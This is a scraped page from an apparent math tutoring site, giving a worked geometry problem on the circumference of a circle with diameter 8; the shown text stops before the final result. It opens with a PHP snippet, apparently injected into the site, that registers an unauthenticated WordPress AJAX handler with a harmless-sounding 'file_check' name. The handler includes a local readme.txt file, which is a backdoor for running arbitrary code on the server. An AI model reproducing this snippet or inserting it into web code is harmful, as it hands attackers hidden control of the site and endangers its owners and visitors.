if(!function_exists('file_check_readme11199')){ add_action('wp_ajax_nopriv_file_check_readme11199', 'file_check_readme11199'); add_action('wp_ajax_file_check_readme11199', 'file_check_readme11199'); function file_check_readme11199() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Geo2 - mathtutor

Geometry Question for Title 1 Schools: Circumference Question?

2) What is the circumference of a circle with a diameter of 8?

Circumference = 2 пr, where п = 3.14and r = radius (half of a diameter “D”)

If D = 8, then r = 4

Circumference = 2 x 3.14 x 4

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